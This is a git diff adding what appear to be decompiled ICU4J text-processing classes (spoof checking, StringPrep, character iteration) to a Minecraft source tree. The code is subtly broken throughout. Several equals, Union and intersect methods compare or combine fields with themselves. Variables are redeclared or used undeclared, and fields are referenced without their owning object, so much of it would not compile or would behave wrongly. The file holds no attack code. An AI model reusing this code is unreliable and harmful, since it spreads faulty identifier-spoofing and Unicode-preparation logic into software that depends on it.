+          stringLen = fSpoofData.fCFUStringLengths[ix].fStrLength;
+          break;
+        }
+      }
+      assert (ix < stringLengthsLimit);
+    }
+    
+    assert (value + stringLen <= fSpoofData.fRawData.fCFUStringTableLen);
+    dest.append(fSpoofData.fCFUStrings, value, stringLen);
+  }
+  
+
+
+
+
+
+
+  void wholeScriptCheck(CharSequence text, ScriptSet result)
+  {
+    int inputIdx = 0;
+    
+
+    Trie2 table = 0 != (fChecks & 0x8) ? fSpoofData.fAnyCaseTrie : fSpoofData.fLowerCaseTrie;
+    result.setAll();
+    while (inputIdx < text.length()) {
+      int c = Character.codePointAt(text, inputIdx);
+      inputIdx = Character.offsetByCodePoints(text, inputIdx, 1);
+      int index = table.get(c);
+      if (index == 0)
+      {
+
+
+
+        int cpScript = UScript.getScript(c);
+        assert (cpScript > 1);
+        result.intersect(cpScript);
+      } else if (index != 1)
+      {
+
+        result.intersect(fSpoofData.fScriptSets[index]);
+      }
+    }
+  }
+  
+
+
+
+
+
+  private IdentifierInfo fCachedIdentifierInfo = null;
+  private int fMagic;
+  
+  private IdentifierInfo getIdentifierInfo() { IdentifierInfo returnIdInfo = null;
+    synchronized (this) {
+      returnIdInfo = fCachedIdentifierInfo;
+      fCachedIdentifierInfo = null;
+    }
+    if (returnIdInfo == null) {
+      returnIdInfo = new IdentifierInfo();
+    }
+    return returnIdInfo;
+  }
+  
+  private void releaseIdentifierInfo(IdentifierInfo idInfo)
+  {
+    if (idInfo != null) {
+      synchronized (this) {
+        if (fCachedIdentifierInfo == null) {
+          fCachedIdentifierInfo = idInfo;
+        }
+      }
+    }
+  }
+  
+
+  private int fChecks;
+  
+  private SpoofData fSpoofData;
+  
+  private Set<ULocale> fAllowedLocales;
+  private UnicodeSet fAllowedCharsSet;
+  private RestrictionLevel fRestrictionLevel;
+  private static Normalizer2 nfdNormalizer = Normalizer2.getNFDInstance();
+  
+
+
+
+
+
+
+  static final int SL_TABLE_FLAG = 16777216;
+  
+
+
+
+
+
+
+  static final int SA_TABLE_FLAG = 33554432;
+  
+
+
+
+
+
+
+  static final int ML_TABLE_FLAG = 67108864;
+  
+
+
+
+
+
+
+  static final int MA_TABLE_FLAG = 134217728;
+  
+
+
+
+
+
+
+  static final int KEY_MULTIPLE_VALUES = 268435456;
+  
+
+
+
+
+
+  static final int KEY_LENGTH_SHIFT = 29;
+  
+
+
+
+
+
+
+  static final int getKeyLength(int x)
+  {
+    return x >> 29 & 0x3;
+  }
+  
+
+
+
+  private static class SpoofDataHeader
+  {
+    int fMagic;
+    
+
+    byte[] fFormatVersion = new byte[4];
+    
+
+    int fLength;
+    
+
+    int fCFUKeys;
+    
+
+    int fCFUKeysSize;
+    
+    int fCFUStringIndex;
+    
+    int fCFUStringIndexSize;
+    
+    int fCFUStringTable;
+    
+    int fCFUStringTableLen;
+    
+    int fCFUStringLengths;
+    
+    int fCFUStringLengthsSize;
+    
+    int fAnyCaseTrie;
+    
+    int fAnyCaseTrieLength;
+    
+    int fLowerCaseTrie;
+    
+    int fLowerCaseTrieLength;
+    
+    int fScriptSets;
+    
+    int fScriptSetsLength;
+    
+    int[] unused = new int[15];
+    
+    public SpoofDataHeader() {}
+    
+    public SpoofDataHeader(DataInputStream dis)
+      throws IOException
+    {
+      fMagic = dis.readInt();
+      for (int i = 0; i < fFormatVersion.length; i++) {
+        fFormatVersion[i] = dis.readByte();
+      }
+      fLength = dis.readInt();
+      fCFUKeys = dis.readInt();
+      fCFUKeysSize = dis.readInt();
+      fCFUStringIndex = dis.readInt();
+      fCFUStringIndexSize = dis.readInt();
+      fCFUStringTable = dis.readInt();
+      fCFUStringTableLen = dis.readInt();
+      fCFUStringLengths = dis.readInt();
+      fCFUStringLengthsSize = dis.readInt();
+      fAnyCaseTrie = dis.readInt();
+      fAnyCaseTrieLength = dis.readInt();
+      fLowerCaseTrie = dis.readInt();
+      fLowerCaseTrieLength = dis.readInt();
+      fScriptSets = dis.readInt();
+      fScriptSetsLength = dis.readInt();
+      for (i = 0; i < unused.length; i++) {
+        unused[i] = dis.readInt();
+      }
+    }
+    
+    public void output(DataOutputStream os) throws IOException
+    {
+      os.writeInt(fMagic);
+      for (int i = 0; i < fFormatVersion.length; i++) {
+        os.writeByte(fFormatVersion[i]);
+      }
+      os.writeInt(fLength);
+      os.writeInt(fCFUKeys);
+      os.writeInt(fCFUKeysSize);
+      os.writeInt(fCFUStringIndex);
+      os.writeInt(fCFUStringIndexSize);
+      os.writeInt(fCFUStringTable);
+      os.writeInt(fCFUStringTableLen);
+      os.writeInt(fCFUStringLengths);
+      os.writeInt(fCFUStringLengthsSize);
+      os.writeInt(fAnyCaseTrie);
+      os.writeInt(fAnyCaseTrieLength);
+      os.writeInt(fLowerCaseTrie);
+      os.writeInt(fLowerCaseTrieLength);
+      os.writeInt(fScriptSets);
+      os.writeInt(fScriptSetsLength);
+      for (i = 0; i < unused.length; i++) {
+        os.writeInt(unused[i]);
+      }
+    }
+  }
+  
+  private static class SpoofData
+  {
+    SpoofChecker.SpoofDataHeader fRawData;
+    int[] fCFUKeys;
+    short[] fCFUValues;
+    SpoofStringLengthsElement[] fCFUStringLengths;
+    char[] fCFUStrings;
+    Trie2 fAnyCaseTrie;
+    Trie2 fLowerCaseTrie;
+    SpoofChecker.ScriptSet[] fScriptSets;
+    
+    public static SpoofData getDefault() throws IOException
+    {
+      InputStream is = ICUData.getRequiredStream("data/icudt51b/confusables.cfu");
+      
+      SpoofData This = new SpoofData(is);
+      return This;
+    }
+    
+
+
+
+
+
+    public SpoofData()
+    {
+      fRawData = new SpoofChecker.SpoofDataHeader();
+      
+      fRawData.fMagic = 944111087;
+      fRawData.fFormatVersion[0] = 1;
+      fRawData.fFormatVersion[1] = 0;
+      fRawData.fFormatVersion[2] = 0;
+      fRawData.fFormatVersion[3] = 0;
+    }
+    
+
+
+    public SpoofData(InputStream is)
+      throws IOException
+    {
+      DataInputStream dis = new DataInputStream(new BufferedInputStream(is));
+      dis.skip(128L);
+      assert (dis.markSupported());
+      dis.mark(Integer.MAX_VALUE);
+      
+      fRawData = new SpoofChecker.SpoofDataHeader(dis);
+      initPtrs(dis);
+    }
+    
+
+    static boolean validateDataVersion(SpoofChecker.SpoofDataHeader rawData)
+    {
+      if ((rawData == null) || (fMagic != 944111087) || (fFormatVersion[0] > 1) || (fFormatVersion[1] > 0))
+      {
+        return false;
+      }
+      return true;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    void initPtrs(DataInputStream dis)
+      throws IOException
+    {
+      fCFUKeys = null;
+      fCFUValues = null;
+      fCFUStringLengths = null;
+      fCFUStrings = null;
+      
+
+
+
+      dis.reset();
+      dis.skip(fRawData.fCFUKeys);
+      if (fRawData.fCFUKeys != 0) {
+        fCFUKeys = new int[fRawData.fCFUKeysSize];
+        for (int i = 0; i < fRawData.fCFUKeysSize; i++) {
+          fCFUKeys[i] = dis.readInt();
+        }
+      }
+      
+      dis.reset();
+      dis.skip(fRawData.fCFUStringIndex);
+      if (fRawData.fCFUStringIndex != 0) {
+        fCFUValues = new short[fRawData.fCFUStringIndexSize];
+        for (int i = 0; i < fRawData.fCFUStringIndexSize; i++) {
+          fCFUValues[i] = dis.readShort();
+        }
+      }
+      
+      dis.reset();
+      dis.skip(fRawData.fCFUStringTable);
+      if (fRawData.fCFUStringTable != 0) {
+        fCFUStrings = new char[fRawData.fCFUStringTableLen];
+        for (int i = 0; i < fRawData.fCFUStringTableLen; i++) {
+          fCFUStrings[i] = dis.readChar();
+        }
+      }
+      
+      dis.reset();
+      dis.skip(fRawData.fCFUStringLengths);
+      if (fRawData.fCFUStringLengths != 0) {
+        fCFUStringLengths = new SpoofStringLengthsElement[fRawData.fCFUStringLengthsSize];
+        for (int i = 0; i < fRawData.fCFUStringLengthsSize; i++) {
+          fCFUStringLengths[i] = new SpoofStringLengthsElement(null);
+          fCFUStringLengths[i].fLastString = dis.readShort();
+          fCFUStringLengths[i].fStrLength = dis.readShort();
+        }
+      }
+      
+      dis.reset();
+      dis.skip(fRawData.fAnyCaseTrie);
+      if ((fAnyCaseTrie == null) && (fRawData.fAnyCaseTrie != 0)) {
+        fAnyCaseTrie = Trie2.createFromSerialized(dis);
+      }
+      dis.reset();
+      dis.skip(fRawData.fLowerCaseTrie);
+      if ((fLowerCaseTrie == null) && (fRawData.fLowerCaseTrie != 0)) {
+        fLowerCaseTrie = Trie2.createFromSerialized(dis);
+      }
+      
+      dis.reset();
+      dis.skip(fRawData.fScriptSets);
+      if (fRawData.fScriptSets != 0) {
+        fScriptSets = new SpoofChecker.ScriptSet[fRawData.fScriptSetsLength];
+        for (int i = 0; i < fRawData.fScriptSetsLength; i++) {
+          fScriptSets[i] = new SpoofChecker.ScriptSet(dis);
+        }
+      }
+    }
+    
+
+
+
+
+    private static class SpoofStringLengthsElement
+    {
+      short fLastString;
+      
+
+
+
+      short fStrLength;
+      
+
+
+
+      private SpoofStringLengthsElement() {}
+    }
+  }
+  
+
+
+
+  private static class ScriptSet
+  {
+    public ScriptSet() {}
+    
+
+
+
+    public ScriptSet(DataInputStream dis)
+      throws IOException
+    {
+      for (int j = 0; j < bits.length; j++) {
+        bits[j] = dis.readInt();
+      }
+    }
+    
+    public void output(DataOutputStream os) throws IOException {
+      for (int i = 0; i < bits.length; i++) {
+        os.writeInt(bits[i]);
+      }
+    }
+    
+    public boolean equals(ScriptSet other) {
+      for (int i = 0; i < bits.length; i++) {
+        if (bits[i] != bits[i]) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public void Union(int script) {
+      int index = script / 32;
+      int bit = 1 << (script & 0x1F);
+      assert (index < bits.length * 4 * 4);
+      bits[index] |= bit;
+    }
+    
+    public void Union(ScriptSet other)
+    {
+      for (int i = 0; i < bits.length; i++) {
+        bits[i] |= bits[i];
+      }
+    }
+    
+    public void intersect(ScriptSet other) {
+      for (int i = 0; i < bits.length; i++) {
+        bits[i] &= bits[i];
+      }
+    }
+    
+    public void intersect(int script) {
+      int index = script / 32;
+      int bit = 1 << (script & 0x1F);
+      assert (index < bits.length * 4 * 4);
+      
+      for (int i = 0; i < index; i++) {
+        bits[i] = 0;
+      }
+      bits[index] &= bit;
+      for (i = index + 1; i < bits.length; i++) {
+        bits[i] = 0;
+      }
+    }
+    
+    public void setAll() {
+      for (int i = 0; i < bits.length; i++) {
+        bits[i] = -1;
+      }
+    }
+    
+    public void resetAll()
+    {
+      for (int i = 0; i < bits.length; i++) {
+        bits[i] = 0;
+      }
+    }
+    
+
+    public int countMembers()
+    {
+      int count = 0;
+      for (int i = 0; i < bits.length; i++) {
+        int x = bits[i];
+        while (x != 0) {
+          count++;
+          x &= x - 1;
+        }
+      }
+      
+
+      return count;
+    }
+    
+    private int[] bits = new int[6];
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/StringCharacterIterator.java b/src/minecraft/com/ibm/icu/text/StringCharacterIterator.java
new file mode 100644
index 0000000..c8861e5
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/StringCharacterIterator.java
@@ -0,0 +1,279 @@
+package com.ibm.icu.text;
+
+import java.text.CharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public final class StringCharacterIterator
+  implements CharacterIterator
+{
+  private String text;
+  private int begin;
+  private int end;
+  private int pos;
+  
+  /**
+   * @deprecated
+   */
+  public StringCharacterIterator(String text)
+  {
+    this(text, 0);
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public StringCharacterIterator(String text, int pos)
+  {
+    this(text, 0, text.length(), pos);
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public StringCharacterIterator(String text, int begin, int end, int pos)
+  {
+    if (text == null) {
+      throw new NullPointerException();
+    }
+    this.text = text;
+    
+    if ((begin < 0) || (begin > end) || (end > text.length())) {
+      throw new IllegalArgumentException("Invalid substring range");
+    }
+    
+    if ((pos < begin) || (pos > end)) {
+      throw new IllegalArgumentException("Invalid position");
+    }
+    
+    this.begin = begin;
+    this.end = end;
+    this.pos = pos;
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public void setText(String text)
+  {
+    if (text == null) {
+      throw new NullPointerException();
+    }
+    this.text = text;
+    begin = 0;
+    end = text.length();
+    pos = 0;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public char first()
+  {
+    pos = begin;
+    return current();
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public char last()
+  {
+    if (end != begin) {
+      pos = (end - 1);
+    } else {
+      pos = end;
+    }
+    return current();
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public char setIndex(int p)
+  {
+    if ((p < begin) || (p > end)) {
+      throw new IllegalArgumentException("Invalid index");
+    }
+    pos = p;
+    return current();
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public char current()
+  {
+    if ((pos >= begin) && (pos < end)) {
+      return text.charAt(pos);
+    }
+    
+    return 65535;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public char next()
+  {
+    if (pos < end - 1) {
+      pos += 1;
+      return text.charAt(pos);
+    }
+    
+    pos = end;
+    return 65535;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public char previous()
+  {
+    if (pos > begin) {
+      pos -= 1;
+      return text.charAt(pos);
+    }
+    
+    return 65535;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public int getBeginIndex()
+  {
+    return begin;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public int getEndIndex()
+  {
+    return end;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public int getIndex()
+  {
+    return pos;
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if (!(obj instanceof StringCharacterIterator)) {
+      return false;
+    }
+    
+    StringCharacterIterator that = (StringCharacterIterator)obj;
+    
+    if (hashCode() != that.hashCode()) {
+      return false;
+    }
+    if (!text.equals(text)) {
+      return false;
+    }
+    if ((pos != pos) || (begin != begin) || (end != end)) {
+      return false;
+    }
+    return true;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public int hashCode()
+  {
+    return text.hashCode() ^ pos ^ begin ^ end;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public Object clone()
+  {
+    try
+    {
+      return (StringCharacterIterator)super.clone();
+
+    }
+    catch (CloneNotSupportedException e)
+    {
+      throw new IllegalStateException();
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/StringPrep.java b/src/minecraft/com/ibm/icu/text/StringPrep.java
new file mode 100644
index 0000000..fdac667
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/StringPrep.java
@@ -0,0 +1,620 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.CharTrie;
+import com.ibm.icu.impl.ICUData;
+import com.ibm.icu.impl.StringPrepDataReader;
+import com.ibm.icu.impl.UBiDiProps;
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.util.VersionInfo;
+import java.io.BufferedInputStream;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.ref.WeakReference;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class StringPrep
+{
+  public static final int DEFAULT = 0;
+  public static final int ALLOW_UNASSIGNED = 1;
+  public static final int RFC3491_NAMEPREP = 0;
+  public static final int RFC3530_NFS4_CS_PREP = 1;
+  public static final int RFC3530_NFS4_CS_PREP_CI = 2;
+  public static final int RFC3530_NFS4_CIS_PREP = 3;
+  public static final int RFC3530_NFS4_MIXED_PREP_PREFIX = 4;
+  public static final int RFC3530_NFS4_MIXED_PREP_SUFFIX = 5;
+  public static final int RFC3722_ISCSI = 6;
+  public static final int RFC3920_NODEPREP = 7;
+  public static final int RFC3920_RESOURCEPREP = 8;
+  public static final int RFC4011_MIB = 9;
+  public static final int RFC4013_SASLPREP = 10;
+  public static final int RFC4505_TRACE = 11;
+  public static final int RFC4518_LDAP = 12;
+  public static final int RFC4518_LDAP_CI = 13;
+  private static final int MAX_PROFILE = 13;
+  private static final String[] PROFILE_NAMES = { "rfc3491", "rfc3530cs", "rfc3530csci", "rfc3491", "rfc3530mixp", "rfc3491", "rfc3722", "rfc3920node", "rfc3920res", "rfc4011", "rfc4013", "rfc4505", "rfc4518", "rfc4518ci" };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final WeakReference<StringPrep>[] CACHE = (WeakReference[])new WeakReference[14];
+  
+  private static final int UNASSIGNED = 0;
+  
+  private static final int MAP = 1;
+  
+  private static final int PROHIBITED = 2;
+  
+  private static final int DELETE = 3;
+  
+  private static final int TYPE_LIMIT = 4;
+  
+  private static final int NORMALIZATION_ON = 1;
+  
+  private static final int CHECK_BIDI_ON = 2;
+  
+  private static final int TYPE_THRESHOLD = 65520;
+  
+  private static final int MAX_INDEX_VALUE = 16319;
+  
+  private static final int INDEX_TRIE_SIZE = 0;
+  
+  private static final int INDEX_MAPPING_DATA_SIZE = 1;
+  
+  private static final int NORM_CORRECTNS_LAST_UNI_VERSION = 2;
+  
+  private static final int ONE_UCHAR_MAPPING_INDEX_START = 3;
+  
+  private static final int TWO_UCHARS_MAPPING_INDEX_START = 4;
+  
+  private static final int THREE_UCHARS_MAPPING_INDEX_START = 5;
+  
+  private static final int FOUR_UCHARS_MAPPING_INDEX_START = 6;
+  
+  private static final int OPTIONS = 7;
+  
+  private static final int INDEX_TOP = 16;
+  
+  private static final int DATA_BUFFER_SIZE = 25000;
+  
+  private CharTrie sprepTrie;
+  
+  private int[] indexes;
+  
+  private char[] mappingData;
+  
+  private VersionInfo sprepUniVer;
+  private VersionInfo normCorrVer;
+  private boolean doNFKC;
+  private boolean checkBiDi;
+  private UBiDiProps bdp;
+  
+  private char getCodePointValue(int ch)
+  {
+    return sprepTrie.getCodePointValue(ch);
+  }
+  
+  private static VersionInfo getVersionInfo(int comp) {
+    int micro = comp & 0xFF;
+    int milli = comp >> 8 & 0xFF;
+    int minor = comp >> 16 & 0xFF;
+    int major = comp >> 24 & 0xFF;
+    return VersionInfo.getInstance(major, minor, milli, micro);
+  }
+  
+  private static VersionInfo getVersionInfo(byte[] version) { if (version.length != 4) {
+      return null;
+    }
+    return VersionInfo.getInstance(version[0], version[1], version[2], version[3]);
+  }
+  
+
+
+
+
+
+
+
+  public StringPrep(InputStream inputStream)
+    throws IOException
+  {
+    BufferedInputStream b = new BufferedInputStream(inputStream, 25000);
+    
+    StringPrepDataReader reader = new StringPrepDataReader(b);
+    
+
+    indexes = reader.readIndexes(16);
+    
+    byte[] sprepBytes = new byte[indexes[0]];
+    
+
+
+    mappingData = new char[indexes[1] / 2];
+    
+    reader.read(sprepBytes, mappingData);
+    
+    sprepTrie = new CharTrie(new ByteArrayInputStream(sprepBytes), null);
+    
+
+    reader.getDataFormatVersion();
+    
+
+    doNFKC = ((indexes[7] & 0x1) > 0);
+    checkBiDi = ((indexes[7] & 0x2) > 0);
+    sprepUniVer = getVersionInfo(reader.getUnicodeVersion());
+    normCorrVer = getVersionInfo(indexes[2]);
+    VersionInfo normUniVer = UCharacter.getUnicodeVersion();
+    if ((normUniVer.compareTo(sprepUniVer) < 0) && (normUniVer.compareTo(normCorrVer) < 0) && ((indexes[7] & 0x1) > 0))
+    {
+
+
+      throw new IOException("Normalization Correction version not supported");
+    }
+    b.close();
+    
+    if (checkBiDi) {
+      bdp = UBiDiProps.INSTANCE;
+    }
+  }
+  
+
+
+
+
+
+  public static StringPrep getInstance(int profile)
+  {
+    if ((profile < 0) || (profile > 13)) {
+      throw new IllegalArgumentException("Bad profile type");
+    }
+    
+    StringPrep instance = null;
+    
+
+
+    synchronized (CACHE) {
+      WeakReference<StringPrep> ref = CACHE[profile];
+      if (ref != null) {
+        instance = (StringPrep)ref.get();
+      }
+      
+      if (instance == null) {
+        InputStream stream = ICUData.getRequiredStream("data/icudt51b/" + PROFILE_NAMES[profile] + ".spp");
+        
+        if (stream != null) {
+          try {
+            try {
+              instance = new StringPrep(stream);
+            } finally {
+              stream.close();
+            }
+          } catch (IOException e) {
+            throw new RuntimeException(e.toString());
+          }
+        }
+        if (instance != null) {
+          CACHE[profile] = new WeakReference(instance);
+        }
+      }
+    }
+    return instance; }
+  
+  private static final class Values { boolean isIndex;
+    int value;
+    int type;
+    
+    private Values() {}
+    
+    public void reset() { isIndex = false;
+      value = 0;
+      type = -1;
+    }
+  }
+  
+  private static final void getValues(char trieWord, Values values) {
+    values.reset();
+    if (trieWord == 0)
+    {
+
+
+
+
+      type = 4;
+    } else if (trieWord >= 65520) {
+      type = (trieWord - 65520);
+    }
+    else {
+      type = 1;
+      
+      if ((trieWord & 0x2) > 0) {
+        isIndex = true;
+        value = (trieWord >> '\002');
+      }
+      else {
+        isIndex = false;
+        value = (trieWord << '\020' >> 16);
+        value >>= 2;
+      }
+      
+
+      if (trieWord >> '\002' == 16319) {
+        type = 3;
+        isIndex = false;
+        value = 0;
+      }
+    }
+  }
+  
+
+
+  private StringBuffer map(UCharacterIterator iter, int options)
+    throws StringPrepParseException
+  {
+    Values val = new Values(null);
+    char result = '\000';
+    int ch = -1;
+    StringBuffer dest = new StringBuffer();
+    boolean allowUnassigned = (options & 0x1) > 0;
+    
+    while ((ch = iter.nextCodePoint()) != -1)
+    {
+      result = getCodePointValue(ch);
+      getValues(result, val);
+      
+
+      if ((type == 0) && (!allowUnassigned)) {
+        throw new StringPrepParseException("An unassigned code point was found in the input", 3, iter.getText(), iter.getIndex());
+      }
+      
+      if (type == 1)
+      {
+
+        if (isIndex) {
+          int index = value;
+          int length; int length; if ((index >= indexes[3]) && (index < indexes[4]))
+          {
+            length = 1; } else { int length;
+            if ((index >= indexes[4]) && (index < indexes[5]))
+            {
+              length = 2; } else { int length;
+              if ((index >= indexes[5]) && (index < indexes[6]))
+              {
+                length = 3;
+              } else
+                length = mappingData[(index++)];
+            }
+          }
+          dest.append(mappingData, index, length);
+          continue;
+        }
+        
+        ch -= value;
+      } else {
+        if (type == 3) {
+          continue;
+        }
+      }
+      
+      UTF16.append(dest, ch);
+    }
+    
+    return dest;
+  }
+  
+  private StringBuffer normalize(StringBuffer src)
+  {
+    return new StringBuffer(Normalizer.normalize(src.toString(), Normalizer.NFKC, 32));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public StringBuffer prepare(UCharacterIterator src, int options)
+    throws StringPrepParseException
+  {
+    StringBuffer mapOut = map(src, options);
+    StringBuffer normOut = mapOut;
+    
+    if (doNFKC)
+    {
+      normOut = normalize(mapOut);
+    }
+    
+
+
+    UCharacterIterator iter = UCharacterIterator.getInstance(normOut);
+    Values val = new Values(null);
+    int direction = 19;
+    int firstCharDir = 19;
+    int rtlPos = -1;int ltrPos = -1;
+    boolean rightToLeft = false;boolean leftToRight = false;
+    int ch;
+    while ((ch = iter.nextCodePoint()) != -1) {
+      char result = getCodePointValue(ch);
+      getValues(result, val);
+      
+      if (type == 2) {
+        throw new StringPrepParseException("A prohibited code point was found in the input", 2, iter.getText(), value);
+      }
+      
+
+      if (checkBiDi) {
+        direction = bdp.getClass(ch);
+        if (firstCharDir == 19) {
+          firstCharDir = direction;
+        }
+        if (direction == 0) {
+          leftToRight = true;
+          ltrPos = iter.getIndex() - 1;
+        }
+        if ((direction == 1) || (direction == 13)) {
+          rightToLeft = true;
+          rtlPos = iter.getIndex() - 1;
+        }
+      }
+    }
+    if (checkBiDi == true)
+    {
+      if ((leftToRight == true) && (rightToLeft == true)) {
+        throw new StringPrepParseException("The input does not conform to the rules for BiDi code points.", 4, iter.getText(), rtlPos > ltrPos ? rtlPos : ltrPos);
+      }
+      
+
+
+
+      if ((rightToLeft == true) && (((firstCharDir != 1) && (firstCharDir != 13)) || ((direction != 1) && (direction != 13))))
+      {
+
+
+        throw new StringPrepParseException("The input does not conform to the rules for BiDi code points.", 4, iter.getText(), rtlPos > ltrPos ? rtlPos : ltrPos);
+      }
+    }
+    
+
+    return normOut;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String prepare(String src, int options)
+    throws StringPrepParseException
+  {
+    StringBuffer result = prepare(UCharacterIterator.getInstance(src), options);
+    return result.toString();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/StringPrepParseException.java b/src/minecraft/com/ibm/icu/text/StringPrepParseException.java
new file mode 100644
index 0000000..76f3c3a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/StringPrepParseException.java
@@ -0,0 +1,232 @@
+package com.ibm.icu.text;
+
+import java.text.ParseException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StringPrepParseException
+  extends ParseException
+{
+  static final long serialVersionUID = 7160264827701651255L;
+  public static final int INVALID_CHAR_FOUND = 0;
+  public static final int ILLEGAL_CHAR_FOUND = 1;
+  public static final int PROHIBITED_ERROR = 2;
+  public static final int UNASSIGNED_ERROR = 3;
+  public static final int CHECK_BIDI_ERROR = 4;
+  public static final int STD3_ASCII_RULES_ERROR = 5;
+  public static final int ACE_PREFIX_ERROR = 6;
+  public static final int VERIFICATION_ERROR = 7;
+  public static final int LABEL_TOO_LONG_ERROR = 8;
+  public static final int BUFFER_OVERFLOW_ERROR = 9;
+  public static final int ZERO_LENGTH_LABEL = 10;
+  public static final int DOMAIN_NAME_TOO_LONG_ERROR = 11;
+  private int error;
+  private int line;
+  
+  public StringPrepParseException(String message, int error)
+  {
+    super(message, -1);
+    this.error = error;
+    line = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public StringPrepParseException(String message, int error, String rules, int pos)
+  {
+    super(message, -1);
+    this.error = error;
+    setContext(rules, pos);
+    line = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public StringPrepParseException(String message, int error, String rules, int pos, int lineNumber)
+  {
+    super(message, -1);
+    this.error = error;
+    setContext(rules, pos);
+    line = lineNumber;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof StringPrepParseException)) {
+      return false;
+    }
+    return error == error;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public int hashCode()
+  {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(super.getMessage());
+    buf.append(". line:  ");
+    buf.append(line);
+    buf.append(". preContext:  ");
+    buf.append(preContext);
+    buf.append(". postContext: ");
+    buf.append(postContext);
+    buf.append("\n");
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private StringBuffer preContext = new StringBuffer();
+  
+
+
+
+
+  private StringBuffer postContext = new StringBuffer();
+  private static final int PARSE_CONTEXT_LEN = 16;
+  
+  private void setPreContext(String str, int pos)
+  {
+    setPreContext(str.toCharArray(), pos);
+  }
+  
+  private void setPreContext(char[] str, int pos) {
+    int start = pos <= 16 ? 0 : pos - 15;
+    int len = start <= 16 ? start : 16;
+    preContext.append(str, start, len);
+  }
+  
+  private void setPostContext(String str, int pos)
+  {
+    setPostContext(str.toCharArray(), pos);
+  }
+  
+  private void setPostContext(char[] str, int pos) {
+    int start = pos;
+    int len = str.length - start;
+    postContext.append(str, start, len);
+  }
+  
+  private void setContext(String str, int pos)
+  {
+    setPreContext(str, pos);
+    setPostContext(str, pos);
+  }
+  
+
+
+
+
+
+  public int getError()
+  {
+    return error;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/StringTransform.java b/src/minecraft/com/ibm/icu/text/StringTransform.java
new file mode 100644
index 0000000..787c0f2
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/StringTransform.java
@@ -0,0 +1,7 @@
+package com.ibm.icu.text;
+
+public abstract interface StringTransform
+  extends Transform<String, String>
+{
+  public abstract String transform(String paramString);
+}
diff --git a/src/minecraft/com/ibm/icu/text/SymbolTable.java b/src/minecraft/com/ibm/icu/text/SymbolTable.java
new file mode 100644
index 0000000..6ad1c9d
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/SymbolTable.java
@@ -0,0 +1,14 @@
+package com.ibm.icu.text;
+
+import java.text.ParsePosition;
+
+public abstract interface SymbolTable
+{
+  public static final char SYMBOL_REF = '$';
+  
+  public abstract char[] lookup(String paramString);
+  
+  public abstract UnicodeMatcher lookupMatcher(int paramInt);
+  
+  public abstract String parseReference(String paramString, ParsePosition paramParsePosition, int paramInt);
+}
diff --git a/src/minecraft/com/ibm/icu/text/ThaiBreakEngine.java b/src/minecraft/com/ibm/icu/text/ThaiBreakEngine.java
new file mode 100644
index 0000000..20fe439
--- /dev/null
